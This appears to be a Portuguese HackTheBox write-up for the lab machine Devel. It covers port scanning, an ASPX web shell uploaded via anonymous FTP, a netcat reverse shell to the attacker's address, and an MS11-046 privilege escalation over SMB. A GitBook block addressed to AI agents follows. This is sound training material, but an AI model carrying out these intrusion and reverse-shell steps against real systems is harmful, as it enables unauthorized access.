> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md).

# Relato do HackTheBox Devel

{% embed url="<https://app.hackthebox.com/machines/Devel>" %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/de8e9fe5509a4c6241e9c0cc2f0363c7ea984f83" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/6f2fd7adc0c541e382a1a1e9c94e7a50787eaf4c" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.5 -oG allPorts
```

<figure><img src="/files/094b3df3796c3eff04410bfbc71daa5deeea5ebe" alt="" width="563"><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Usando a função extractPorts para exibir as portas abertas de forma concisa e copiá-las para a área de transferência.

<figure><img src="/files/2063d999ded691db9306e4209c1cbbcb9eb25c9f" alt="" width="563"><figcaption></figcaption></figure>

**Varredura de versão de portas com Nmap:**

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p21,80 10.10.10.5 -oN targeted
```

<figure><img src="/files/e708d60eb036eb907d77899e9c3cddabbfeb5ff4" alt=""><figcaption></figcaption></figure>

## **Análise de serviços**

### **Porta 21 - FTP**

O servidor FTP está acessível com credenciais anônimas. Ao explorar o diretório FTP, descobrimos três arquivos:

* **`aspnet_client`**
* **`iisstart.htm`**
* **`welcome.png`**

<figure><img src="/files/aaf765f627219c764d86e7b183ad08c4f4e9ef3a" alt=""><figcaption></figcaption></figure>

A imagem **`welcome.png`** parece ser um banner padrão.

<figure><img src="/files/9cee167ff83103f90e167ae313c0eb3ede9acab7" alt=""><figcaption></figcaption></figure>

### Porta 80 - HTTP:

O servidor HTTP exibe uma página com o mesmo banner encontrado no FTP. Isso sugere que o site recupera seus arquivos diretamente do servidor FTP.

<figure><img src="/files/03ff79e8a3b4420dd584a1be248ec75e29863bcc" alt=""><figcaption></figcaption></figure>

#### **Testando escrita no FTP**

Ao testar as permissões de escrita no servidor FTP, confirmamos que é possível adicionar arquivos com o comando

```bash
put test.txt
```

<figure><img src="/files/89ebca44556bde1fd8b8522dc7dd435a093de121" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/776f1cda485237ef67bd4c61f41b5321d4445302" alt=""><figcaption></figcaption></figure>

## **Exploração - Reverse Shell via FTP**

### **Upload de Web Shell ASPX**

Usamos uma webshell pré-existente, **`cmd.aspx`**, da SecLists:

```bash
locate cmd.aspx
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

Em seguida, enviamos para o servidor FTP:

```bash
ftp 10.10.10.5
anonymous
put aspx_cmd.aspx
```

Acessamos a webshell via o servidor HTTP e executamos comandos, por exemplo:

```bash
ipconfig
```

<figure><img src="/files/9deabd461023c1900aebe70a7786d325f64f08ea" alt=""><figcaption></figcaption></figure>

### **Envie o `nc.exe` binário para uma reverse shell**

Baixamos **`nc.exe`** da SecLists:

```bash
locate nc.exe 
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

Em seguida, adicionamos ao servidor FTP:

```bash
ftp 10.10.10.5
anonymous
put nc.exe
```

A partir da webshell, localizamos o **`nc.exe`** arquivo no servidor de destino:

```powershell
dir /s C:/nc.exe
```

### **Configurando a reverse shell**

<figure><img src="/files/812baab41fc11235f85ba4339eeb60ba4f3668bc" alt=""><figcaption></figcaption></figure>

**Escute na porta 443:**

Configuramos um listener com `nc` para escutar a porta 443:

```bash
rlwrap nc -nvlp 443
```

A partir da máquina-alvo, executamos o seguinte comando via a webshell:

```powershell
C:/inetpub/wwwroot/nc.exe -e cmd 10.10.14.26 443
```

<figure><img src="/files/40d7f66aa5d6a7cd4ccbb403a5ca4dc92f96dced" alt=""><figcaption></figcaption></figure>

## **Escalada de privilégios**

### Exploração do Kernel <a href="#kernel-exploitation" id="kernel-exploitation"></a>

#### **Verificação de informações do sistema**

Com a **`systeminfo`** comando, identificamos que a máquina usa **Windows 7 Enterprise**, o que abre a possibilidade de explorar vulnerabilidades conhecidas para esta versão.

```powershell
systeminfo
```

O resultado nos diz que a máquina usa **Windows 7 Enterprise**, com a seguinte versão:

```plaintext
OS VERSION: 6.1.7600 N/A Build 7600
```

<figure><img src="/files/23d6789192a068b4e22afbf1bcd8076106e21a21" alt=""><figcaption></figcaption></figure>

### **Exploração da vulnerabilidade MS11-046** <a href="#ms11-046-vulnerability-exploitation" id="ms11-046-vulnerability-exploitation"></a>

Isso nos permite saber que a máquina pode ser vulnerável a algumas falhas conhecidas, como **MS11-046**, uma vulnerabilidade no serviço **SMB do Windows**.

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046>" %}

> Vulnerabilidade **MS11-046** permite que um atacante execute remotamente com privilégios **NT AUTHORITY/SYSTEM** via o serviço SMB. Para explorar essa vulnerabilidade, transferiremos e executaremos um arquivo malicioso na máquina-alvo.

<figure><img src="/files/7d852cd594770eab77dc9215d3e0bb530516ccfc" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2915e7ce6dd35c6d13f3d03231c7870ea6d56059" alt=""><figcaption></figcaption></figure>

### Transferência de arquivo no Windows (SMB) <a href="#file-transfer-windows" id="file-transfer-windows"></a>

> Usamos **smbserver.py** para compartilhar um diretório contendo o arquivo de exploração **ms11-046.exe**. Este arquivo é então copiado para a máquina-alvo.

```bash
smbserver.py share $(pwd) -smb2support
```

Da máquina-alvo, copiamos o arquivo malicioso usando o comando SMB:

```powershell
copy //10.10.14.26/share/ms11-046.exe ms11.exe
```

<figure><img src="/files/431c742522708f88d1f2bcc000e2eec2083932ec" alt=""><figcaption></figcaption></figure>

**Execução da operação**

Assim que o arquivo é transferido, executamos **ms11-046.exe** na máquina-alvo para explorar a vulnerabilidade e obter um shell com privilégios SYSTEM. Para isso, usamos o seguinte comando:

```powershell
./ms11.exe
```

<figure><img src="/files/9830dc903511f1ff61b131aa97a07461530110b7" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="/files/4631bcbe813d8066b36f0082b161fea906403b8b" alt="" width="563"><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/f7896a47f77b76296dd34c042a68be1cbcf9fc7d" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/f7e754383d3152599f758fc77a58e8d74a05e521" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
